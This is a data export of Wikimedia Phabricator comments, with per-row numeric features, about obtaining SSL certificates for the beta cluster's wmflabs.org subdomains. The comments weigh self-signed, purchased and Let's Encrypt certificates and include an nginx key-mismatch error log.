(*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.",,,1443084427,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,116,,1.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,13.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,10.0,8.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.2666666666666666,0.7,"[[ URL | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ URL | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 

(*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then."
524836,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"one more reason we should have this is to avoid needing https://gerrit.wikimedia.org/r/237523  (T105794, T112195)",,,1441924507,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,114,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,6.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.055555555555555,1.0,"one more reason we should have this is to avoid needing GERRIT_URL  (T105794, T112195)"
505970,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA'd task at T97593 which Brandon is driving.,,,1439306906,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,110,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,4.285714285714286,1.0,SCREEN_NAME: there's an NDA'd task at T97593 which Brandon is driving.
505956,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA's task at T97593 which Brandon is driving.,,,1439306268,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,110,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,27.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,4.0,0.9333333333333333,SCREEN_NAME: there's an NDA's task at T97593 which Brandon is driving.
505798,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@greg  so what's the decision; there's also https://phabricator.wikimedia.org/T75919 and https://phabricator.wikimedia.org/T70387   Self-signed certs in beta or not?  ,,,1439287610,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,110,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.32,0.88,SCREEN_NAME  so what's the decision; there's also URL and URL   Self-signed certs in beta or not?  
445536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is T70387 a duplicate of this?,,,1429298534,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,93,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Is T70387 a duplicate of this?
227553,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Matthew Flaschen from comment #93)
> If cost is the issue, did we consider setting up our own certificate
> authority (chained to an existing root)?  It's an upfront cost, but as I
> understand it that means no per-cert cost.
> 
> Google and Microsoft both have them, just to name a couple.

Getting a delegated signing certificate is a huge deal actually. Once you have one, any certificate you sign is trusted by all who trust your upstream signer. The x509 protocol does not make it possible to construct a trusted signing certificate that is restricted to a particular domain. As such, any trusted signer who issues delegate signing certificates must impose strict practices and regular audits of those practices on any delegate organization.",,,1406914396,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,56,,4.0,0.0,0.0,2.0,1.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,12.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,4.55,0.68,"(In reply to Matthew Flaschen from comment #93)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Getting a delegated signing certificate is a huge deal actually. Once you have one, any certificate you sign is trusted by all who trust your upstream signer. The x509 protocol does not make it possible to construct a trusted signing certificate that is restricted to a particular domain. As such, any trusted signer who issues delegate signing certificates must impose strict practices and regular audits of those practices on any delegate organization."
227544,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I can think of three significant problems with self-signed certificates:

1. It trains people to ignore SSL warnings, which means they ignore them when it's a legit problem.
2. It causes problems with automated tests (not clear if all of these have been worked around).
3. It's a real pain when testing manually because you have to visit https://bits.beta.wmflabs.org/ (and maybe also upload.beta.wmflabs.org) manually in Firefox.

FWIW, https://en.wikipedia.beta.wmflabs.org isn't working at all (not even invalid) right now (can't connect), but I assume that's temporary

If cost is the issue, did we consider setting up our own certificate authority (chained to an existing root)?  It's an upfront cost, but as I understand it that means no per-cert cost.

Google and Microsoft both have them, just to name a couple.",,,1398901677,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,43,,1.0,0.0,0.0,0.5,2.5,4.5,0.5,0.5,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,9.5,8.5,0.0,1.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,8.5,3.5,3.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,3.5,1.5,8.0,2.5,2.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,8.0,8.5,3.5,0.5,0.0,0.0,8.0,0.0,2.0,3.0,1.0,2.5,0.0,0.0,1.5,3.7235978112175103,0.7602599179206566,"I can think of three significant problems with self-signed certificates:

1. It trains people to ignore SSL warnings, which means they ignore them when it's a legit problem.
2. It causes problems with automated tests (not clear if all of these have been worked around).
3. It's a real pain when testing manually because you have to visit URL (and maybe also upload.beta.wmflabs.org) manually in Firefox.

FWIW, URL isn't working at all (not even invalid) right now (can't connect), but I assume that's temporary

If cost is the issue, did we consider setting up our own certificate authority (chained to an existing root)?  It's an upfront cost, but as I understand it that means no per-cert cost.

Google and Microsoft both have them, just to name a couple."
227536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"This bug seems to be drifted away from the initial comment.
(In reply to Antoine ""hashar"" Musso from comment #0)
> We need certificates generated by 'Labs CA' for the entries listed in
> role::protoproxy::ssl::beta and some more.  I guess the easiest would be to
> create *.beta.wmflabs.org cert that will also contains the following DNS
> entries:

So

(In reply to Greg Grossmeier from comment #91)
> Won't Fix'ing this for now.
> A) We have self-signed certs in place on Beta

We still don't have valid self-signed certs for beta since eqiad migration as far as I know. At least nginx refuses to starts because of cert mismatch. As I was told in bug 63538 that this (certs) is handled here, I REOPEN. Please generate new (self-signed) certs.",,,1398877580,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,2.5,0.5,3.5,0.0,1.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,3.0,0.0,4.5,13.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.5,13.5,2.5,0.0,2.0,0.0,0.0,0.0,1.0,3.0,1.0,2.0,0.0,3.0,13.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.4363278886872353,0.6704476709013913,"This bug seems to be drifted away from the initial comment.
(In reply to Antoine ""hashar"" Musso from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

So

(In reply to Greg Grossmeier from comment #91)
QUOTE
QUOTE

We still don't have valid self-signed certs for beta since eqiad migration as far as I know. At least nginx refuses to starts because of cert mismatch. As I was told in bug 63538 that this (certs) is handled here, I REOPEN. Please generate new (self-signed) certs."
227528,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Won't Fix'ing this for now.

A) We have self-signed certs in place on Beta
B) Real certs are expensive
C) There hasn't been any team come with a specific use case where buying the real certs would make sense.

Feel free to reopen if any of the above changes.",,,1398876875,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,43,,3.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,2.0,2.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,16.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3968253968253967,0.8253968253968254,"Won't Fix'ing this for now.

A) We have self-signed certs in place on Beta
B) Real certs are expensive
C) There hasn't been any team come with a specific use case where buying the real certs would make sense.

Feel free to reopen if any of the above changes."
227523,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org," > I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one
> level of wildcard possible). But ask RobH to make sure.

Ah indeed my bad. Sorry :-]",,,1397643671,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.9090909090909091,"QUOTE
QUOTE

Ah indeed my bad. Sorry :-]"
227515,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Antoine ""hashar"" Musso from comment #86)
star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one level of wildcard possible). But ask RobH to make sure.",,,1397643379,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,5.0,2.0,4.0,0.0,4.0,9.0,14.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,0.8771929824561403,"(In reply to Antoine ""hashar"" Musso from comment #86)
star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one level of wildcard possible). But ask RobH to make sure."
227509,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"for *.wmflabs.org, the self-signed cert has recently been replaced with one from RapidSSL , at first the chained file, which is created by puppet was wrong, the above changes should have fixed that.",,,1397643103,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.875,"for *.wmflabs.org, the self-signed cert has recently been replaced with one from RapidSSL , at first the chained file, which is created by puppet was wrong, the above changes should have fixed that."
227501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"

https://gerrit.wikimedia.org/r/#/c/111386/
https://gerrit.wikimedia.org/r/#/c/126008/1",,,1397643019,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.25,0.75,"

URL
URL"
227495,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
The beta cluster has for Varnish instances with a Nginx HTTPS proxy installed.  Nginx refuses to start because the star.wmflabs.org certificate is invalid:

root@deployment-cache-bits01:~# /etc/init.d/nginx start
Starting nginx: nginx: [emerg]
  SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"")
  failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
 nginx: configuration file /etc/nginx/nginx.conf test failed


To fix it we would need a few certificates to be installed on the instances via the role::protoproxy::ssl::beta puppet class in manifests/role/protoproxy.pp

star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

We would need *.wikimedia.beta.wmflabs.org and *.wikipedia.beta.wmflabs.org certs as well.",,,1397642712,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,41,,0.5,0.0,0.0,0.5,0.0,4.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,5.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,6.0,0.5,0.5,4.5,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,2.0,5.5,7.0,0.0,0.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,5.499195171026157,0.7731388329979879,"
The beta cluster has for Varnish instances with a Nginx HTTPS proxy installed.  Nginx refuses to start because the star.wmflabs.org certificate is invalid:

root@deployment-cache-bits01:~# /etc/init.d/nginx start
Starting nginx: nginx: [emerg]
  SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"")
  failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
 nginx: configuration file /etc/nginx/nginx.conf test failed


To fix it we would need a few certificates to be installed on the instances via the role::protoproxy::ssl::beta puppet class in manifests/role/protoproxy.pp

star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

We would need *.wikimedia.beta.wmflabs.org and *.wikipedia.beta.wmflabs.org certs as well."
227489,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #84)
> * Setup was(is?) annoying because of the lack of easy way to secure these
> private certs from other non-WMF root labs users.

I thought comment 65 and comment 67 said the ""access to private keys without an NDA"" part was solved.

Antoine said he did the sudo configuration (see comment 67); I'm not sure if it's checked yet.",,,1397014720,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,6.0,0.0,6.0,10.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4838709677419355,0.7580645161290323,"(In reply to Greg Grossmeier from comment #84)
QUOTE
QUOTE

I thought comment 65 and comment 67 said the ""access to private keys without an NDA"" part was solved.

Antoine said he did the sudo configuration (see comment 67); I'm not sure if it's checked yet."
227483,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(Lowering priority and unassigning from self)

Status, afaict:
* Price was annoying, but we've identified the 7 we want (comment 77, comment 79, and comment 83).
* Setup was(is?) annoying because of the lack of easy way to secure these private certs from other non-WMF root labs users.

Marc/RobH: Let me know if I have that wrong and if there's anything else we can do right now.",,,1396547005,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,39,,0.0,1.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,5.0,1.0,3.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,10.0,3.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,5.0,9.0,4.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.4565217391304346,0.75,"(Lowering priority and unassigning from self)

Status, afaict:
* Price was annoying, but we've identified the 7 we want (comment 77, comment 79, and comment 83).
* Setup was(is?) annoying because of the lack of easy way to secure these private certs from other non-WMF root labs users.

Marc/RobH: Let me know if I have that wrong and if there's anything else we can do right now."
227476,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"wikidata.beta.wmflabs.org might be nice, since I know a few gadgets go cross domain to it.

I think the dewiki community also wanted to have de.wikipedia.beta.wmflabs.org, but unless we get a discount for buying them at one time, it would probably be good to wait until we have browser tests running against that wiki.",,,1393026432,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,2.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,15.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,12.0,15.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,4.52542372881356,0.8135593220338984,"wikidata.beta.wmflabs.org might be nice, since I know a few gadgets go cross domain to it.

I think the dewiki community also wanted to have de.wikipedia.beta.wmflabs.org, but unless we get a discount for buying them at one time, it would probably be good to wait until we have browser tests running against that wiki."
227472,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #80)

> 
> For the avoidance of doubt: we're not doing them all, just a subset. SSL
> certs are a racket and expensive.

Oh, missed that above. Makes sense :)",,,1393024173,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3703703703703702,0.8518518518518519,"(In reply to Greg Grossmeier from comment #80)

QUOTE
QUOTE
QUOTE

Oh, missed that above. Makes sense :)"
227467,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, we can't do all; we can't even reasonably all the necessary wildcards to cover the whole matrix.

I have six now; any more?",,,1393024132,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,9.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.34375,0.8125,"Yeah, we can't do all; we can't even reasonably all the necessary wildcards to cover the whole matrix.

I have six now; any more?"
227461,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Kunal Mehta (Legoktm) from comment #78)
> http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full
> list.

